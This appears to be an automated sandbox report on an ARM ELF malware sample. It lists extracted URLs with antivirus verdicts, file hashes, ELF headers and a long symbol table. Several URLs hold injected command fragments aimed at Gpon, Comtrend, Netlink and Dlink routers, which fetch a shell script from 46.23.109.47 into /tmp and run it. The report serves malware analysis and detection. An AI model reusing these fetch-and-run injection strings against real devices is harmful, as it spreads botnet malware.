      http://46.23.109.47/Cloud/Gpon.sh100%Avira URL Cloudmalware
      http://46.23.109.47/Cloud/Cloud.x8618%VirustotalBrowse
      http://46.23.109.47/Cloud/Cloud.x86100%Avira URL Cloudmalware
      http://46.23.109.47/Cloud/Comtrend.sh%20-O%20-%3E%20/tmp/jno;sh%20/tmp/jno%27/&sessionKey=1039230114100%Avira URL Cloudmalware
      http://46.23.109.47/Cloud/Netlink.sh%20-O%20-%3E%20/tmp/jno;sh%20/tmp/jno%27/&waninf=1_INTERNET_R_VI100%Avira URL Cloudmalware
      http://46.23.109.47/Cloud/Cloud.mpsl;chmod100%Avira URL Cloudmalware
      http://46.23.109.47/Cloud/Cloud.mips;100%Avira URL Cloudmalware
      http://purenetworks.com/HNAP1/0%URL Reputationsafe
      http://0.0.0.0/Cloud/Cloud.x860%Avira URL Cloudsafe
      http://46.23.109.47/Cloud/Dlink.sh%20-O%20-%3E%20/tmp/kh;sh%20/tmp/kh%27$100%Avira URL Cloudmalware
      No contacted domains info
      NameSourceMaliciousAntivirus DetectionReputation
      http://46.23.109.47/Cloud/Gpon.shSTa4J3TGC8true
      • 19%, Virustotal, Browse
      • Avira URL Cloud: malware
      unknown
      http://46.23.109.47/Cloud/Cloud.x86STa4J3TGC8true
      • 18%, Virustotal, Browse
      • Avira URL Cloud: malware
      unknown
      http://46.23.109.47/Cloud/Comtrend.sh%20-O%20-%3E%20/tmp/jno;sh%20/tmp/jno%27/&sessionKey=1039230114STa4J3TGC8true
      • Avira URL Cloud: malware
      unknown
      http://46.23.109.47/Cloud/Netlink.sh%20-O%20-%3E%20/tmp/jno;sh%20/tmp/jno%27/&waninf=1_INTERNET_R_VISTa4J3TGC8true
      • Avira URL Cloud: malware
      unknown
      http://schemas.xmlsoap.org/soap/encoding/STa4J3TGC8false
        high
        http://46.23.109.47/Cloud/Cloud.mpsl;chmodSTa4J3TGC8true
        • Avira URL Cloud: malware
        unknown
        http://46.23.109.47/Cloud/Cloud.mips;STa4J3TGC8true
        • Avira URL Cloud: malware
        unknown
        http://purenetworks.com/HNAP1/STa4J3TGC8false
        • URL Reputation: safe
        unknown
        http://0.0.0.0/Cloud/Cloud.x86STa4J3TGC8false
        • Avira URL Cloud: safe
        unknown
        http://46.23.109.47/Cloud/Dlink.sh%20-O%20-%3E%20/tmp/kh;sh%20/tmp/kh%27$STa4J3TGC8true
        • Avira URL Cloud: malware
        unknown
        http://schemas.xmlsoap.org/soap/envelope/STa4J3TGC8false
          high
          No contacted IP infos
          No context
          No context
          No context
          No context
          No context
          No created / dropped files found
          File type:ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, with debug_info, not stripped
          Entropy (8bit):6.1383990718734704
          TrID:
          • ELF Executable and Linkable format (generic) (4004/1) 100.00%
          File name:STa4J3TGC8
          File size:196436
          MD5:629225375f0931a57b3b0af8790de2e7
          SHA1:57e654779dd2c24b84a974fbf9d43e24168b32cb
          SHA256:965641bf2015ff5ead1b627e962a5f9e0c0d72f786198276e51b89fa6fd00831
          SHA512:3985eb1ed1278fe1d6e39c94009a9653ea6e20b8efc6d359ed435bb4324c2bd52223bde1c5f398a848cdc39096fe397b746c630e7f1b4b1bb2f0a1eae015faa7
          SSDEEP:3072:L0x+YC5uHoDfYqxbWUQBpgIqcZoLmpMguHcUSVUHalw7WeuH0rsfCUiQmxTymXX1:gx+YkuHoDfHxoZoLmpMguHcUSVUHalwr
          TLSH:B9143C46A9408F12C1D12777BA9F414A33329758E3DBB2068D2C5FB43BC7A9E5E77205
          File Content Preview:.ELF..............(.........4...`.......4. ...(........p................................................................. ... ... ..0...4;............... ... ... ..................Q.td..................................-...L..................@-.,@...0....S

          ELF header

          Class:ELF32
          Data:2's complement, little endian
          Version:1 (current)
          Machine:ARM
          Version Number:0x1
          Type:EXEC (Executable file)
          OS/ABI:UNIX - System V
          ABI Version:0
          Entry Point Address:0x8194
          Flags:0x4000002
          ELF Header Size:52
          Program Header Offset:52
          Program Header Size:32
          Number of Program Headers:5
          Section Header Offset:164192
          Section Header Size:40
          Number of Section Headers:29
          Header String Table Index:26
          NameTypeAddressOffsetSizeEntSizeFlagsFlags DescriptionLinkInfoAlign
          NULL0x00x00x00x00x0000
          .initPROGBITS0x80d40xd40x100x00x6AX004
          .textPROGBITS0x80f00xf00x1ef300x00x6AX0016
          .finiPROGBITS0x270200x1f0200x100x00x6AX004
          .rodataPROGBITS0x270300x1f0300x2b840x00x2A004
          .ARM.extabPROGBITS0x29bb40x21bb40x180x00x2A004
          .ARM.exidxARM_EXIDX0x29bcc0x21bcc0x1180x00x82AL204
          .eh_framePROGBITS0x320000x220000x40x00x3WA004
          .tbssNOBITS0x320040x220040x80x00x403WAT004
          .init_arrayINIT_ARRAY0x320040x220040x40x00x3WA004
          .fini_arrayFINI_ARRAY0x320080x220080x40x00x3WA004
          .jcrPROGBITS0x3200c0x2200c0x40x00x3WA004
          .gotPROGBITS0x320100x220100xa80x40x3WA004
          .dataPROGBITS0x320b80x220b80x2780x00x3WA004
          .bssNOBITS0x323300x223300x38040x00x3WA004
          .commentPROGBITS0x00x223300xa480x00x0001
          .debug_arangesPROGBITS0x00x22d780xc00x00x0008
          .debug_pubnamesPROGBITS0x00x22e380x2130x00x0001
          .debug_infoPROGBITS0x00x2304b0x1d230x00x0001
          .debug_abbrevPROGBITS0x00x24d6e0x6920x00x0001
          .debug_linePROGBITS0x00x254000x9c70x00x0001
          .debug_framePROGBITS0x00x25dc80x2b80x00x0004
          .debug_strPROGBITS0x00x260800x8ca0x10x30MS001
          .debug_locPROGBITS0x00x2694a0x118f0x00x0001
          .debug_rangesPROGBITS0x00x27ad90x5580x00x0001
          .ARM.attributesARM_ATTRIBUTES0x00x280310x160x00x0001
          .shstrtabSTRTAB0x00x280470x1170x00x0001
          .symtabSYMTAB0x00x285e80x4fd00x100x0287294
          .strtabSTRTAB0x00x2d5b80x299c0x00x0001
          TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
          EXIDX0x21bcc0x29bcc0x29bcc0x1180x1184.48600x4R 0x4.ARM.exidx
          LOAD0x00x80000x80000x21ce40x21ce46.27930x5R E0x8000.init .text .fini .rodata .ARM.extab .ARM.exidx
          LOAD0x220000x320000x320000x3300x3b343.81540x6RW 0x8000.eh_frame .tbss .init_array .fini_array .jcr .got .data .bss
          TLS0x220040x320040x320040x00x80.00000x4R 0x4.tbss
          GNU_STACK0x00x00x00x00x00.00000x7RWE0x4
          NameVersion Info NameVersion Info File NameSection NameValueSizeSymbol TypeSymbol BindSymbol VisibilityNdx
          .symtab0x00NOTYPE<unknown>DEFAULTSHN_UNDEF
          .symtab0x80d40SECTION<unknown>DEFAULT1
          .symtab0x80f00SECTION<unknown>DEFAULT2
          .symtab0x270200SECTION<unknown>DEFAULT3
          .symtab0x270300SECTION<unknown>DEFAULT4
          .symtab0x29bb40SECTION<unknown>DEFAULT5
          .symtab0x29bcc0SECTION<unknown>DEFAULT6
          .symtab0x320000SECTION<unknown>DEFAULT7
          .symtab0x320040SECTION<unknown>DEFAULT8
          .symtab0x320040SECTION<unknown>DEFAULT9
          .symtab0x320080SECTION<unknown>DEFAULT10
          .symtab0x3200c0SECTION<unknown>DEFAULT11
          .symtab0x320100SECTION<unknown>DEFAULT12
          .symtab0x320b80SECTION<unknown>DEFAULT13
          .symtab0x323300SECTION<unknown>DEFAULT14
          .symtab0x00SECTION<unknown>DEFAULT15
          .symtab0x00SECTION<unknown>DEFAULT16
          .symtab0x00SECTION<unknown>DEFAULT17
          .symtab0x00SECTION<unknown>DEFAULT18
          .symtab0x00SECTION<unknown>DEFAULT19
          .symtab0x00SECTION<unknown>DEFAULT20
          .symtab0x00SECTION<unknown>DEFAULT21
          .symtab0x00SECTION<unknown>DEFAULT22
          .symtab0x00SECTION<unknown>DEFAULT23
          .symtab0x00SECTION<unknown>DEFAULT24
          .symtab0x00SECTION<unknown>DEFAULT25
          $a.symtab0x80d40NOTYPE<unknown>DEFAULT1
          $a.symtab0x270200NOTYPE<unknown>DEFAULT3
          $a.symtab0x80e00NOTYPE<unknown>DEFAULT1
          $a.symtab0x2702c0NOTYPE<unknown>DEFAULT3
          $a.symtab0x80f00NOTYPE<unknown>DEFAULT2
          $a.symtab0x81340NOTYPE<unknown>DEFAULT2
          $a.symtab0x81940NOTYPE<unknown>DEFAULT2
          $a.symtab0x81d00NOTYPE<unknown>DEFAULT2
          $a.symtab0x82a40NOTYPE<unknown>DEFAULT2
          $a.symtab0x8d380NOTYPE<unknown>DEFAULT2
          $a.symtab0x8d940NOTYPE<unknown>DEFAULT2
          $a.symtab0x8e900NOTYPE<unknown>DEFAULT2
          $a.symtab0x90ac0NOTYPE<unknown>DEFAULT2
          $a.symtab0x91180NOTYPE<unknown>DEFAULT2
          $a.symtab0x91880NOTYPE<unknown>DEFAULT2
          $a.symtab0x94740NOTYPE<unknown>DEFAULT2
          $a.symtab0x9b6c0NOTYPE<unknown>DEFAULT2
          $a.symtab0xa2180NOTYPE<unknown>DEFAULT2
          $a.symtab0xa8c40NOTYPE<unknown>DEFAULT2
          $a.symtab0xaf700NOTYPE<unknown>DEFAULT2
          $a.symtab0xb3a80NOTYPE<unknown>DEFAULT2
          $a.symtab0xb6480NOTYPE<unknown>DEFAULT2
          $a.symtab0xb8e80NOTYPE<unknown>DEFAULT2
          $a.symtab0xc09c0NOTYPE<unknown>DEFAULT2
          $a.symtab0xc3f00NOTYPE<unknown>DEFAULT2
          $a.symtab0xcf1c0NOTYPE<unknown>DEFAULT2
          $a.symtab0xe00c0NOTYPE<unknown>DEFAULT2
          $a.symtab0xe05c0NOTYPE<unknown>DEFAULT2
          $a.symtab0xe1000NOTYPE<unknown>DEFAULT2
          $a.symtab0xe1d80NOTYPE<unknown>DEFAULT2
          $a.symtab0xee440NOTYPE<unknown>DEFAULT2
          $a.symtab0xef180NOTYPE<unknown>DEFAULT2
          $a.symtab0xfa1c0NOTYPE<unknown>DEFAULT2
          $a.symtab0xfaf40NOTYPE<unknown>DEFAULT2
          $a.symtab0x106b40NOTYPE<unknown>DEFAULT2
          $a.symtab0x1078c0NOTYPE<unknown>DEFAULT2
          $a.symtab0x112c40NOTYPE<unknown>DEFAULT2
          $a.symtab0x113980NOTYPE<unknown>DEFAULT2
          $a.symtab0x11e200NOTYPE<unknown>DEFAULT2
          $a.symtab0x11ef40NOTYPE<unknown>DEFAULT2
          $a.symtab0x129b40NOTYPE<unknown>DEFAULT2
          $a.symtab0x12a880NOTYPE<unknown>DEFAULT2
          $a.symtab0x135000NOTYPE<unknown>DEFAULT2
          $a.symtab0x13a680NOTYPE<unknown>DEFAULT2
          $a.symtab0x14a580NOTYPE<unknown>DEFAULT2
          $a.symtab0x14c040NOTYPE<unknown>DEFAULT2
          $a.symtab0x14cd80NOTYPE<unknown>DEFAULT2
          $a.symtab0x156ec0NOTYPE<unknown>DEFAULT2
          $a.symtab0x157040NOTYPE<unknown>DEFAULT2
          $a.symtab0x158680NOTYPE<unknown>DEFAULT2
          $a.symtab0x158b00NOTYPE<unknown>DEFAULT2
          $a.symtab0x159100NOTYPE<unknown>DEFAULT2
          $a.symtab0x15a000NOTYPE<unknown>DEFAULT2
          $a.symtab0x1615c0NOTYPE<unknown>DEFAULT2
          $a.symtab0x162340NOTYPE<unknown>DEFAULT2
          $a.symtab0x16e900NOTYPE<unknown>DEFAULT2
          $a.symtab0x16eec0NOTYPE<unknown>DEFAULT2
          $a.symtab0x16f540NOTYPE<unknown>DEFAULT2
          $a.symtab0x170240NOTYPE<unknown>DEFAULT2
          $a.symtab0x171000NOTYPE<unknown>DEFAULT2
          $a.symtab0x171d40NOTYPE<unknown>DEFAULT2
          $a.symtab0x17ca00NOTYPE<unknown>DEFAULT2
          $a.symtab0x17d680NOTYPE<unknown>DEFAULT2
          $a.symtab0x17ec80NOTYPE<unknown>DEFAULT2
          $a.symtab0x17fb40NOTYPE<unknown>DEFAULT2
          $a.symtab0x1a2980NOTYPE<unknown>DEFAULT2
          $a.symtab0x1acc40NOTYPE<unknown>DEFAULT2
          $a.symtab0x1aee00NOTYPE<unknown>DEFAULT2
          $a.symtab0x1af040NOTYPE<unknown>DEFAULT2
          $a.symtab0x1afa40NOTYPE<unknown>DEFAULT2
          $a.symtab0x1b0440NOTYPE<unknown>DEFAULT2
          $a.symtab0x1c0480NOTYPE<unknown>DEFAULT2
          $a.symtab0x1c11c0NOTYPE<unknown>DEFAULT2
          $a.symtab0x1cc140NOTYPE<unknown>DEFAULT2
          $a.symtab0x1ccec0NOTYPE<unknown>DEFAULT2
          $a.symtab0x1d8140NOTYPE<unknown>DEFAULT2
          $a.symtab0x1d83c0NOTYPE<unknown>DEFAULT2
          $a.symtab0x1d8840NOTYPE<unknown>DEFAULT2
          $a.symtab0x1d8a80NOTYPE<unknown>DEFAULT2
          $a.symtab0x1d8cc0NOTYPE<unknown>DEFAULT2
          $a.symtab0x1d9380NOTYPE<unknown>DEFAULT2
          $a.symtab0x1da740NOTYPE<unknown>DEFAULT2
          $a.symtab0x1dad00NOTYPE<unknown>DEFAULT2
          $a.symtab0x1db640NOTYPE<unknown>DEFAULT2
          $a.symtab0x1dbf40NOTYPE<unknown>DEFAULT2
          $a.symtab0x1dc740NOTYPE<unknown>DEFAULT2
          $a.symtab0x1dd080NOTYPE<unknown>DEFAULT2
          $a.symtab0x1de040NOTYPE<unknown>DEFAULT2
          $a.symtab0x1df180NOTYPE<unknown>DEFAULT2
          $a.symtab0x1e05c0NOTYPE<unknown>DEFAULT2
          $a.symtab0x1e0700NOTYPE<unknown>DEFAULT2
          $a.symtab0x1e1080NOTYPE<unknown>DEFAULT2
          $a.symtab0x1e1fc0NOTYPE<unknown>DEFAULT2
          $a.symtab0x1e2100NOTYPE<unknown>DEFAULT2
          $a.symtab0x1e2f00NOTYPE<unknown>DEFAULT2
          $a.symtab0x1e3280NOTYPE<unknown>DEFAULT2
          $a.symtab0x1e36c0NOTYPE<unknown>DEFAULT2
          $a.symtab0x1e3ac0NOTYPE<unknown>DEFAULT2
          $a.symtab0x1e3f00NOTYPE<unknown>DEFAULT2
          $a.symtab0x1e4740NOTYPE<unknown>DEFAULT2
          $a.symtab0x1e4b40NOTYPE<unknown>DEFAULT2
          $a.symtab0x1e5400NOTYPE<unknown>DEFAULT2
          $a.symtab0x1e5700NOTYPE<unknown>DEFAULT2
          $a.symtab0x1e5b00NOTYPE<unknown>DEFAULT2
          $a.symtab0x1e6c00NOTYPE<unknown>DEFAULT2
          $a.symtab0x1e7900NOTYPE<unknown>DEFAULT2
          $a.symtab0x1e8540NOTYPE<unknown>DEFAULT2
          $a.symtab0x1e9040NOTYPE<unknown>DEFAULT2
          $a.symtab0x1e9ec0NOTYPE<unknown>DEFAULT2
          $a.symtab0x1ea0c0NOTYPE<unknown>DEFAULT2
          $a.symtab0x1ea400NOTYPE<unknown>DEFAULT2
          $a.symtab0x1ea500NOTYPE<unknown>DEFAULT2
          $a.symtab0x1ea600NOTYPE<unknown>DEFAULT2
          $a.symtab0x1eb000NOTYPE<unknown>DEFAULT2
          $a.symtab0x1eb600NOTYPE<unknown>DEFAULT2
          $a.symtab0x1eb840NOTYPE<unknown>DEFAULT2
          $a.symtab0x1ebb80NOTYPE<unknown>DEFAULT2
          $a.symtab0x1ebe80NOTYPE<unknown>DEFAULT2
          $a.symtab0x1ec100NOTYPE<unknown>DEFAULT2
          $a.symtab0x1ec540NOTYPE<unknown>DEFAULT2
          $a.symtab0x1ec980NOTYPE<unknown>DEFAULT2
          $a.symtab0x1ed0c0NOTYPE<unknown>DEFAULT2
          $a.symtab0x1ed500NOTYPE<unknown>DEFAULT2
          $a.symtab0x1ed980NOTYPE<unknown>DEFAULT2
          $a.symtab0x1edd80NOTYPE<unknown>DEFAULT2
          $a.symtab0x1ee1c0NOTYPE<unknown>DEFAULT2
          $a.symtab0x1ee8c0NOTYPE<unknown>DEFAULT2
          $a.symtab0x1eed40NOTYPE<unknown>DEFAULT2
          $a.symtab0x1ef5c0NOTYPE<unknown>DEFAULT2
          $a.symtab0x1efa00NOTYPE<unknown>DEFAULT2
          $a.symtab0x1f0100NOTYPE<unknown>DEFAULT2
          $a.symtab0x1f05c0NOTYPE<unknown>DEFAULT2
          $a.symtab0x1f0e40NOTYPE<unknown>DEFAULT2
          $a.symtab0x1f12c0NOTYPE<unknown>DEFAULT2
          $a.symtab0x1f1700NOTYPE<unknown>DEFAULT2
          $a.symtab0x1f1c00NOTYPE<unknown>DEFAULT2
          $a.symtab0x1f1d40NOTYPE<unknown>DEFAULT2
          $a.symtab0x1f2980NOTYPE<unknown>DEFAULT2
          $a.symtab0x1f3040NOTYPE<unknown>DEFAULT2
          $a.symtab0x1fcb40NOTYPE<unknown>DEFAULT2
          $a.symtab0x1fdf40NOTYPE<unknown>DEFAULT2
          $a.symtab0x201b40NOTYPE<unknown>DEFAULT2
          $a.symtab0x206540NOTYPE<unknown>DEFAULT2
          $a.symtab0x206940NOTYPE<unknown>DEFAULT2
          $a.symtab0x207bc0NOTYPE<unknown>DEFAULT2
          $a.symtab0x207d40NOTYPE<unknown>DEFAULT2
          $a.symtab0x208780NOTYPE<unknown>DEFAULT2
          $a.symtab0x209300NOTYPE<unknown>DEFAULT2
          $a.symtab0x209f00NOTYPE<unknown>DEFAULT2
          $a.symtab0x20a940NOTYPE<unknown>DEFAULT2
          $a.symtab0x20b240NOTYPE<unknown>DEFAULT2
          $a.symtab0x20bfc0NOTYPE<unknown>DEFAULT2
          $a.symtab0x20cf40NOTYPE<unknown>DEFAULT2
          $a.symtab0x20de00NOTYPE<unknown>DEFAULT2
          $a.symtab0x20e000NOTYPE<unknown>DEFAULT2
          $a.symtab0x20e1c0NOTYPE<unknown>DEFAULT2
          $a.symtab0x20ff40NOTYPE<unknown>DEFAULT2
          $a.symtab0x210b80NOTYPE<unknown>DEFAULT2
          $a.symtab0x212040NOTYPE<unknown>DEFAULT2
          $a.symtab0x218280NOTYPE<unknown>DEFAULT2
          $a.symtab0x21bf40NOTYPE<unknown>DEFAULT2
          $a.symtab0x21c8c0NOTYPE<unknown>DEFAULT2
          $a.symtab0x21cd40NOTYPE<unknown>DEFAULT2
          $a.symtab0x21dc40NOTYPE<unknown>DEFAULT2
          $a.symtab0x21ef40NOTYPE<unknown>DEFAULT2
          $a.symtab0x21f4c0NOTYPE<unknown>DEFAULT2
          $a.symtab0x21f540NOTYPE<unknown>DEFAULT2
          $a.symtab0x21f840NOTYPE<unknown>DEFAULT2
          $a.symtab0x21fdc0NOTYPE<unknown>DEFAULT2
          $a.symtab0x21fe40NOTYPE<unknown>DEFAULT2
          $a.symtab0x220140NOTYPE<unknown>DEFAULT2
          $a.symtab0x2206c0NOTYPE<unknown>DEFAULT2
          $a.symtab0x220740NOTYPE<unknown>DEFAULT2
          $a.symtab0x220a40NOTYPE<unknown>DEFAULT2
          $a.symtab0x220fc0NOTYPE<unknown>DEFAULT2
          $a.symtab0x221040NOTYPE<unknown>DEFAULT2
          $a.symtab0x221300NOTYPE<unknown>DEFAULT2
          $a.symtab0x221b80NOTYPE<unknown>DEFAULT2
          $a.symtab0x222940NOTYPE<unknown>DEFAULT2
          $a.symtab0x223540NOTYPE<unknown>DEFAULT2
          $a.symtab0x223a80NOTYPE<unknown>DEFAULT2
          $a.symtab0x224000NOTYPE<unknown>DEFAULT2
          $a.symtab0x227ec0NOTYPE<unknown>DEFAULT2
          $a.symtab0x228680NOTYPE<unknown>DEFAULT2
          $a.symtab0x228940NOTYPE<unknown>DEFAULT2
          $a.symtab0x2291c0NOTYPE<unknown>DEFAULT2
          $a.symtab0x229240NOTYPE<unknown>DEFAULT2
          $a.symtab0x229300NOTYPE<unknown>DEFAULT2
          $a.symtab0x229400NOTYPE<unknown>DEFAULT2
          $a.symtab0x229500NOTYPE<unknown>DEFAULT2
          $a.symtab0x229900NOTYPE<unknown>DEFAULT2
          $a.symtab0x229f80NOTYPE<unknown>DEFAULT2
          $a.symtab0x22a5c0NOTYPE<unknown>DEFAULT2
          $a.symtab0x22afc0NOTYPE<unknown>DEFAULT2
          $a.symtab0x22b280NOTYPE<unknown>DEFAULT2
          $a.symtab0x22b3c0NOTYPE<unknown>DEFAULT2
          $a.symtab0x22b500NOTYPE<unknown>DEFAULT2
          $a.symtab0x22b640NOTYPE<unknown>DEFAULT2
          $a.symtab0x22b8c0NOTYPE<unknown>DEFAULT2
          $a.symtab0x22bc40NOTYPE<unknown>DEFAULT2
          $a.symtab0x22c040NOTYPE<unknown>DEFAULT2
          $a.symtab0x22c180NOTYPE<unknown>DEFAULT2
          $a.symtab0x22c5c0NOTYPE<unknown>DEFAULT2
          $a.symtab0x22c9c0NOTYPE<unknown>DEFAULT2
          $a.symtab0x22cdc0NOTYPE<unknown>DEFAULT2
          $a.symtab0x22d3c0NOTYPE<unknown>DEFAULT2
          $a.symtab0x22da80NOTYPE<unknown>DEFAULT2
          $a.symtab0x22dbc0NOTYPE<unknown>DEFAULT2
          $a.symtab0x22f340NOTYPE<unknown>DEFAULT2
          $a.symtab0x230200NOTYPE<unknown>DEFAULT2
          $a.symtab0x233c40NOTYPE<unknown>DEFAULT2
          $a.symtab0x236f40NOTYPE<unknown>DEFAULT2
          $a.symtab0x237140NOTYPE<unknown>DEFAULT2
          $a.symtab0x23b740NOTYPE<unknown>DEFAULT2
          $a.symtab0x23bf40NOTYPE<unknown>DEFAULT2
          $a.symtab0x23d580NOTYPE<unknown>DEFAULT2
          $a.symtab0x23d880NOTYPE<unknown>DEFAULT2
          $a.symtab0x23ecc0NOTYPE<unknown>DEFAULT2
          $a.symtab0x23fe80NOTYPE<unknown>DEFAULT2
          $a.symtab0x242980NOTYPE<unknown>DEFAULT2
          $a.symtab0x246440NOTYPE<unknown>DEFAULT2
          $a.symtab0x247700NOTYPE<unknown>DEFAULT2
          $a.symtab0x248100NOTYPE<unknown>DEFAULT2
          $a.symtab0x24ca00NOTYPE<unknown>DEFAULT2
          $a.symtab0x24cc00NOTYPE<unknown>DEFAULT2
          $a.symtab0x24db00NOTYPE<unknown>DEFAULT2
          $a.symtab0x24e9c0NOTYPE<unknown>DEFAULT2
          $a.symtab0x24ee00NOTYPE<unknown>DEFAULT2
          $a.symtab0x24f300NOTYPE<unknown>DEFAULT2
          $a.symtab0x24f7c0NOTYPE<unknown>DEFAULT2
          $a.symtab0x24ff40NOTYPE<unknown>DEFAULT2
          $a.symtab0x250340NOTYPE<unknown>DEFAULT2
          $a.symtab0x250580NOTYPE<unknown>DEFAULT2
          $a.symtab0x250d40NOTYPE<unknown>DEFAULT2
          $a.symtab0x251cc0NOTYPE<unknown>DEFAULT2
          $a.symtab0x252440NOTYPE<unknown>DEFAULT2
          $a.symtab0x252ac0NOTYPE<unknown>DEFAULT2
          $a.symtab0x255000NOTYPE<unknown>DEFAULT2
          $a.symtab0x2550c0NOTYPE<unknown>DEFAULT2
          $a.symtab0x255440NOTYPE<unknown>DEFAULT2
          $a.symtab0x2559c0NOTYPE<unknown>DEFAULT2
          $a.symtab0x255f40NOTYPE<unknown>DEFAULT2
          $a.symtab0x256000NOTYPE<unknown>DEFAULT2
          $a.symtab0x257480NOTYPE<unknown>DEFAULT2
          $a.symtab0x257a00NOTYPE<unknown>DEFAULT2
          $a.symtab0x2587c0NOTYPE<unknown>DEFAULT2
          $a.symtab0x258ac0NOTYPE<unknown>DEFAULT2
          $a.symtab0x259500NOTYPE<unknown>DEFAULT2
          $a.symtab0x259740NOTYPE<unknown>DEFAULT2
          $a.symtab0x25a240NOTYPE<unknown>DEFAULT2
          $a.symtab0x25a640NOTYPE<unknown>DEFAULT2
          $a.symtab0x25ad40NOTYPE<unknown>DEFAULT2
          $a.symtab0x25b200NOTYPE<unknown>DEFAULT2
          $a.symtab0x25b6c0NOTYPE<unknown>DEFAULT2
          $a.symtab0x25b740NOTYPE<unknown>DEFAULT2
          $a.symtab0x25b780NOTYPE<unknown>DEFAULT2
          $a.symtab0x25ba40NOTYPE<unknown>DEFAULT2
          $a.symtab0x25bb00NOTYPE<unknown>DEFAULT2
          $a.symtab0x25bbc0NOTYPE<unknown>DEFAULT2
          $a.symtab0x25ddc0NOTYPE<unknown>DEFAULT2
          $a.symtab0x25f2c0NOTYPE<unknown>DEFAULT2
          $a.symtab0x25f480NOTYPE<unknown>DEFAULT2
          $a.symtab0x25fa80NOTYPE<unknown>DEFAULT2
          $a.symtab0x260140NOTYPE<unknown>DEFAULT2
          $a.symtab0x260cc0NOTYPE<unknown>DEFAULT2
          $a.symtab0x260ec0NOTYPE<unknown>DEFAULT2
          $a.symtab0x262300NOTYPE<unknown>DEFAULT2
          $a.symtab0x267780NOTYPE<unknown>DEFAULT2
          $a.symtab0x267800NOTYPE<unknown>DEFAULT2
          $a.symtab0x267880NOTYPE<unknown>DEFAULT2
          $a.symtab0x267900NOTYPE<unknown>DEFAULT2
          $a.symtab0x2684c0NOTYPE<unknown>DEFAULT2
          $a.symtab0x268900NOTYPE<unknown>DEFAULT2
          $a.symtab0x26fa40NOTYPE<unknown>DEFAULT2
          $a.symtab0x26fec0NOTYPE<unknown>DEFAULT2
          $d.symtab0x81280NOTYPE<unknown>DEFAULT2
          $d.symtab0x320080NOTYPE<unknown>DEFAULT10
          $d.symtab0x81800NOTYPE<unknown>DEFAULT2
          $d.symtab0x320040NOTYPE<unknown>DEFAULT9
          $d.symtab0x81c40NOTYPE<unknown>DEFAULT2
          $d.symtab0x82a00NOTYPE<unknown>DEFAULT2
          $d.symtab0x8d180NOTYPE<unknown>DEFAULT2
          $d.symtab0x8e880NOTYPE<unknown>DEFAULT2
          $d.symtab0x94480NOTYPE<unknown>DEFAULT2
          $d.symtab0x9b680NOTYPE<unknown>DEFAULT2
          $d.symtab0xa2140NOTYPE<unknown>DEFAULT2
          $d.symtab0xa8c00NOTYPE<unknown>DEFAULT2
          $d.symtab0xaf6c0NOTYPE<unknown>DEFAULT2
          $d.symtab0xb3a40NOTYPE<unknown>DEFAULT2
          $d.symtab0xc0980NOTYPE<unknown>DEFAULT2
          $d.symtab0xc3b40NOTYPE<unknown>DEFAULT2
          $d.symtab0xcedc0NOTYPE<unknown>DEFAULT2
          $d.symtab0xe1d40NOTYPE<unknown>DEFAULT2
          $d.symtab0xee180NOTYPE<unknown>DEFAULT2
          $d.symtab0x320b80NOTYPE<unknown>DEFAULT13
          $d.symtab0xef140NOTYPE<unknown>DEFAULT2
          $d.symtab0xf9fc0NOTYPE<unknown>DEFAULT2
          $d.symtab0xfaf00NOTYPE<unknown>DEFAULT2
          $d.symtab0x106880NOTYPE<unknown>DEFAULT2
          $d.symtab0x320dc0NOTYPE<unknown>DEFAULT13
          $d.symtab0x107880NOTYPE<unknown>DEFAULT2
          $d.symtab0x112a00NOTYPE<unknown>DEFAULT2
          $d.symtab0x113940NOTYPE<unknown>DEFAULT2
          $d.symtab0x11e040NOTYPE<unknown>DEFAULT2
          $d.symtab0x11ef00NOTYPE<unknown>DEFAULT2
          $d.symtab0x129980NOTYPE<unknown>DEFAULT2
          $d.symtab0x12a840NOTYPE<unknown>DEFAULT2
          $d.symtab0x134e40NOTYPE<unknown>DEFAULT2
          $d.symtab0x13a600NOTYPE<unknown>DEFAULT2
          $d.symtab0x14a480NOTYPE<unknown>DEFAULT2
          $d.symtab0x14cd40NOTYPE<unknown>DEFAULT2
          $d.symtab0x156d00NOTYPE<unknown>DEFAULT2
          $d.symtab0x156fc0NOTYPE<unknown>DEFAULT2
          $d.symtab0x1585c0NOTYPE<unknown>DEFAULT2
          $d.symtab0x158a80NOTYPE<unknown>DEFAULT2
          $d.symtab0x159fc0NOTYPE<unknown>DEFAULT2
          $d.symtab0x161280NOTYPE<unknown>DEFAULT2
          $d.symtab0x321080NOTYPE<unknown>DEFAULT13
          $d.symtab0x3210c0NOTYPE<unknown>DEFAULT13
          $d.symtab0x321100NOTYPE<unknown>DEFAULT13
          $d.symtab0x321140NOTYPE<unknown>DEFAULT13
          $d.symtab0x162300NOTYPE<unknown>DEFAULT2
          $d.symtab0x16e640NOTYPE<unknown>DEFAULT2
          $d.symtab0x321180NOTYPE<unknown>DEFAULT13
          $d.symtab0x16edc0NOTYPE<unknown>DEFAULT2
          $d.symtab0x16f440NOTYPE<unknown>DEFAULT2
          $d.symtab0x170140NOTYPE<unknown>DEFAULT2
          $d.symtab0x170f00NOTYPE<unknown>DEFAULT2
          $d.symtab0x171d00NOTYPE<unknown>DEFAULT2
          $d.symtab0x17c800NOTYPE<unknown>DEFAULT2
          $d.symtab0x17d640NOTYPE<unknown>DEFAULT2
          $d.symtab0x17ebc0NOTYPE<unknown>DEFAULT2
          $d.symtab0x17f100NOTYPE<unknown>DEFAULT2
          $d.symtab0x1a2740NOTYPE<unknown>DEFAULT2
          $d.symtab0x1ac900NOTYPE<unknown>DEFAULT2
          $d.symtab0x2887c0NOTYPE<unknown>DEFAULT4
          $d.symtab0x288850NOTYPE<unknown>DEFAULT4
          $d.symtab0x1af000NOTYPE<unknown>DEFAULT2
          $d.symtab0x1af9c0NOTYPE<unknown>DEFAULT2
          $d.symtab0x1b03c0NOTYPE<unknown>DEFAULT2
          $d.symtab0x1beb80NOTYPE<unknown>DEFAULT2
          $d.symtab0x3213c0NOTYPE<unknown>DEFAULT13
          $d.symtab0x1c1180NOTYPE<unknown>DEFAULT2
          $d.symtab0x1cbf40NOTYPE<unknown>DEFAULT2
          $d.symtab0x1cce80NOTYPE<unknown>DEFAULT2
          $d.symtab0x1d7f80NOTYPE<unknown>DEFAULT2
          $d.symtab0x00NOTYPE<unknown>DEFAULT21
          $d.symtab0x200NOTYPE<unknown>DEFAULT21
